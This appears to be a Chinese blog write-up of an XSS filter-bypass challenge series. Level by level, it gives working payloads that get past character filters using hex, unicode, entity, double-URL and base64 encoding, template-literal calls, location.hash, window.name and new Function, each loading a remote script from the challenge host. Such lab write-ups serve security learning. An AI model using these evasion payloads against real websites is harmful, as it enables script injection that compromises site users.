独孤九剑 Fay·D·Flourite

独孤九剑

1.过滤=,()和,

Js能自动转换编码,于是用编码的document.create创建script标记并赋值绕过=,再用${}绕过括号

fay=document.createElement('SCRIPT');fay.src='http://xcao.vip/xss/alert.js';document.body.appendChild(fay);
document.body.appendChild(document.createElement('script')).src='http://xcao.vip/xss/alert.js'

执行该代码就创建了一个满足要求的script标签,将其编码绕过再用eval.call执行,编码用进制转换或者unicode即可

<script>eval.call`${'\x66\x61\x79\x3D\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x28\x27\x53\x43\x52\x49\x50\x54\x27\x29\x3B\x66\x61\x79\x2E\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x78\x63\x61\x6F\x2E\x76\x69\x70\x2F\x78\x73\x73\x2F\x61\x6C\x65\x72\x74\x2E\x6A\x73\x27\x3B\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x62\x6F\x64\x79\x2E\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x28\x66\x61\x79\x29\x3B'}`</script>

``是模板字符串,${}中的也是js代码。 如果不用eval执行的话可以用svg标签,但是要将代码先进行html实体编码再进行url编码。

<svg><script>%26%23x66%3B%26%23x61%3B%26%23x79%3B%26%23x3D%3B%26%23x64%3B%26%23x6F%3B%26%23x63%3B%26%23x75%3B%26%23x6D%3B%26%23x65%3B%26%23x6E%3B%26%23x74%3B%26%23x2E%3B%26%23x63%3B%26%23x72%3B%26%23x65%3B%26%23x61%3B%26%23x74%3B%26%23x65%3B%26%23x45%3B%26%23x6C%3B%26%23x65%3B%26%23x6D%3B%26%23x65%3B%26%23x6E%3B%26%23x74%3B%26%23x28%3B%26%23x27%3B%26%23x53%3B%26%23x43%3B%26%23x52%3B%26%23x49%3B%26%23x50%3B%26%23x54%3B%26%23x27%3B%26%23x29%3B%26%23x3B%3B%26%23x66%3B%26%23x61%3B%26%23x79%3B%26%23x2E%3B%26%23x73%3B%26%23x72%3B%26%23x63%3B%26%23x3D%3B%26%23x27%3B%26%23x68%3B%26%23x74%3B%26%23x74%3B%26%23x70%3B%26%23x3A%3B%26%23x2F%3B%26%23x2F%3B%26%23x78%3B%26%23x63%3B%26%23x61%3B%26%23x6F%3B%26%23x2E%3B%26%23x76%3B%26%23x69%3B%26%23x70%3B%26%23x2F%3B%26%23x78%3B%26%23x73%3B%26%23x73%3B%26%23x2F%3B%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x2E%3B%26%23x6A%3B%26%23x73%3B%26%23x27%3B%26%23x3B%3B%26%23x64%3B%26%23x6F%3B%26%23x63%3B%26%23x75%3B%26%23x6D%3B%26%23x65%3B%26%23x6E%3B%26%23x74%3B%26%23x2E%3B%26%23x62%3B%26%23x6F%3B%26%23x64%3B%26%23x79%3B%26%23x2E%3B%26%23x61%3B%26%23x70%3B%26%23x70%3B%26%23x65%3B%26%23x6E%3B%26%23x64%3B%26%23x43%3B%26%23x68%3B%26%23x69%3B%26%23x6C%3B%26%23x64%3B%26%23x28%3B%26%23x66%3B%26%23x61%3B%26%23x79%3B%26%23x29%3B%26%23x3B%3B%26%23xA%3B</script></svg>

2.过滤=,()和.

依然可以用svg,也可以setTimeout,,setInterval也行,就是有点鬼畜。。

<script>setTimeout`\u0066\u0061\u0079\u003D\u0064\u006F\u0063\u0075\u006D\u0065\u006E\u0074\u002E\u0063\u0072\u0065\u0061\u0074\u0065\u0045\u006C\u0065\u006D\u0065\u006E\u0074\u0028\u0027\u0053\u0043\u0052\u0049\u0050\u0054\u0027\u0029\u003B\u0066\u0061\u0079\u002E\u0073\u0072\u0063\u003D\u0027\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0078\u0063\u0061\u006F\u002E\u0076\u0069\u0070\u002F\u0078\u0073\u0073\u002F\u0061\u006C\u0065\u0072\u0074\u002E\u006A\u0073\u0027\u003B\u0064\u006F\u0063\u0075\u006D\u0065\u006E\u0074\u002E\u0062\u006F\u0064\u0079\u002E\u0061\u0070\u0070\u0065\u006E\u0064\u0043\u0068\u0069\u006C\u0064\u0028\u0066\u0061\u0079\u0029\u003B`</script>

3.过滤().&##

意味着不能用进制转换和html实体编码,用base64编码绕过

<iframe src="data:text/html;base64,PHNjcmlwdCBzcmM9J2h0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMnPjwvc2NyaXB0Pg==">

解码相当于

<iframe src="data:text/html,<script src='http://xcao.vip/xss/alert.js'></script>">

注意src中的<script>标签一定要</script>闭合,不闭合是无法执行的。

直接

<script src=http://xcao%252evip/xss/alert%252ejs></script>

经过浏览器一次解码,再js解码一次,可以绕过对点的过滤

4.过滤=().&#\

Location.replace加载JavaScript伪协议构造1里面的执行语句的编码结果,由于没有过滤url编码的%,所以用url编码,同样,url需要二次编码。过滤了点,用location[‘replace’]代替点。(另外伪协议中的内容) 如

<script>location['replace']`javascript:eval%2528alert%25281%2529%2529`</script>

。。测试发现不行,直接编码有问题,应该是分号导致eval中断,1里面第二个没有分号间隔的语句是可以的,点依然也用url二次编码

%3Cscript%3Elocation[%27replace%27]`javascript:eval%2528document%252ebody%252eappendChild%2528document%252ecreateElement%2528%2527script%2527%2529%2529%252esrc%253D%2527http%253A%252F%252Fxcao%252evip%252Fxss%252Falert%252ejs%2527%2529`%3C/script%3E

尝试用location.hash.slice(1) Locationg.hash是取锚点的内容,而Slice表示从已有数组中返回选定元素,slice(1)去掉了第一个字符#取后面的内容。用location.hash.substr(1)有同样的效果 正常url访问是不会带锚点内容的,更改锚点内容也不会导致重新发起请求。

<script>location['replace']`javascript:eval%2528eval%2528location['hash']['slice']%25281%2529%2529%2529`</script>#document.body.appendChild(document.createElement('script')).src='http://xcao.vip/xss/alert.js'

下面附上一些对eval的尝试:

[]['constructor']['constructor']`a${confirm(1)}`()  √
eval`${confirm(2)}`  √
<script>eval(location['hash']['slice'](1))</script>#confirm(2)  √
<script>eval.call`${location['hash']['slice'](1)}`</script>#confirm(1)  √
<script>eval `${location['hash']['slice'](1)}`</script>#confirm(1)  x
<script>new Function`a${location['hash']['slice'](1)}`</script>#confirm(1)  √
[]['constructor']['constructor']`a${location['hash']['slice'](1)}`()  √
eval.call`a${location['hash']['slice'](1)}`  √
eval['call']`${location['hash']['slice'](1)}`  √
eval`a${location['hash']['slice'](1)}`  x
call方法可以去调用其他对象中的其他方法。
New Function 也可以替换eval,区别在于eval的作用域为当前作用域,而new Function的作用域是全局作用域,参照以下:
https://www.cnblogs.com/zhangfengyang/p/5526024.html
[]['constructor']['constructor']也可作为替代eval的一种方法

5.过滤().&#\%

比三题多了个url编码的过滤 Iframe+base64编码依然适用, 另外把对应域名转成ip地址再转10进制也可以访问 转换方法如下:

IP地址:47.112.188.203

    |   |   |   |   对应转为16进制

16进制:2F. 70 . BC . CB

再将2F70BCCB转为10进制:795917515 访问http://795917515就是访问http://47.112.188.203 无法加载他指定的地址(alert.js中间的点无法处理)

6.过滤=().&#\%

以第四题为基准,多过滤了%,即不能用url编码。用${}来替代括号的话在控制台是可以执行的,但是放在url栏执行却出了问题。有语法问题排查不出来。只能换方法试试。

用document.write写一个script标签然后把src内容放锚点。

<script>document['write']`<script ${location['hash']['slice']`1`}`</script>#/src='http://xcao.vip/test/alert.js'

控制台里可以看到确实请求成功了的。我觉得应该是执行顺序的问题导致实际上并不会弹窗。刚刚也尝试了一下外带。结果是并不能外带数据。所以虽然请求成功了,但是还是算是失败。

于是不用script标签,改用onerror,支持的标签包括img,audio,video,一个过滤了可以试试其他的

<script>document['write']`<img ${location['hash']['slice']`1`}`</script>#/src='x'onerror=with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'//

或者用iframe标签

<script>document['write']`<iframe ${location['hash']['slice']`1`}`</script>#/src=‘data:text/html;base64,PHNjcmlwdCBzcmM9J2h0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMnPjwvc2NyaXB0Pg==‘//

或者还可以用new Function替换eval,通过atob转换base64代码为可执行代码再用new Function执行

<script>new Function`a${atob`ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKSkuc3JjPSdodHRwOi8veGNhby52aXAveHNzL2FsZXJ0LmpzJw==`}`</script>

7.过滤=().&#%<>

回显的点改到了<script>标签内,过滤了两个尖括号以及各种符号,导致url,unicode等编码无效,由于在标签内,考虑直接执行代码创建欲加载的script标签。过滤了点所以代码无法直接执行,用6题的new Function+base64编码执行

new Function`a${atob`ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKSkuc3JjPSdodHRwOi8veGNhby52aXAveHNzL2FsZXJ0LmpzJw==`}`

不直接执行也可以用锚点

new Function`a${location['hash']['slice']`1`}`#document.body.appendChild(document.createElement('script')).src='http://xcao.vip/xss/alert.js'

思路太局限了…本来想过用 [][‘constructor’][‘constructor’] 试试的。结果主观印象里后面必须带俩括号,括号又被过滤了就不知道咋整了。。结果看wp才想起来对哦可以用``替代括号。。麻了麻了

[]['constructor']['constructor']`a${location['hash']['slice']`1`}```#document.body.appendChild(document.createElement('script')).src='http://xcao.vip/xss/alert.js'

不用给a赋值然后隔开再执行,直接给a这个就行了

8.过滤=().&%#\%<>’”[]

又多了[ ] ’ ”,很明显不能再用[‘’]代替方法了,锚点失效,就只剩new function+base64了。套用上题即可

Wp里还有个构造一个iframe标签的网站,用iframe中的name属性赋值给js中的name变量,就可以把payload放在iframe中用于执行语句。学习了

<iframe src="http://xcao.vip/test/xss8.php/?data=new Function`b${name}```" name="with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'"></iframe>

8.1过滤=().&%#<>’”{}

过滤了大括号放开[]即不能用${}包含执行语句 放开了[]意味着可以用方法,但是没了单引号双引号。 其实是可以用反引号代替的(应该叫反引号吧)

做不动了参考wp: 依然是利用JavaScript伪协议 给a赋值base64解码后的payload,然后用Java伪协议加载payload。

atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPScveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`;location[`replace`]`javascript:a`

但是他给的

8.2过滤=().&%#<>’”{}和Function

比8多一个function考一个替代。 Settimeout不知道为啥只有这两个括号在才能执行,猜测是换成反引号后前面两个反引号给闭合了导致语法错误…没啥方法,难搞

setTimeout(`${atob`ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKSkuc3JjPSdodHRwOi8veGNhby52aXAveHNzL2FsZXJ0LmpzJw==`}`,2000);

还是看wp去了 他用了open函数。

open`javascript:name//${atob`PGltZyBzcmM9eCBvbmVycm9yPXdpdGgob3BlbmVyLmRvY3VtZW 50KWJvZHkuYXBwZW5kQ2hpbGQoY3JlYXRlRWxlbWVudCgnc2NyaXB0JykpLnNyYz0naHR0cDovL3hjY W8udmlwL3hzcy9hbGVydC5qcyc+`}`

9.过滤了().&#\%<>”$[]{};,/`只剩了个=

…看wp,再感叹一下师傅的思路。自己总是没法汇总 http://xcao.vip/test/xss913415426262.php?data=location=name用location配合伪协议来执行。Payload放name里

<iframe src="http://xcao.vip/test/xss913415426262.php?data=location=name" name="javascript:new Function(document.body.appendChild(document.createElement('script')).src='http://xcao.vip/xss/alert.js')"></iframe>

完结撒花,做这个之前只了解了一点xss的绕过技巧以及一些payload。没学过js的语法之类的。。所以在那些payload用不了的时候就变通不了了(麻了麻了),比如那个open函数替代,还有那个name属性之类的,同时脑子也转不过来,不熟练,考虑能用的姿势要考虑半天。不过我觉得这倒是一个好的思路,过滤一些字符再考虑能利用的姿势,刷下来倒是学到了蛮多。后面想弄一点关键词过滤然后整个合集,方便以后要用的时候查。

这里是参考wp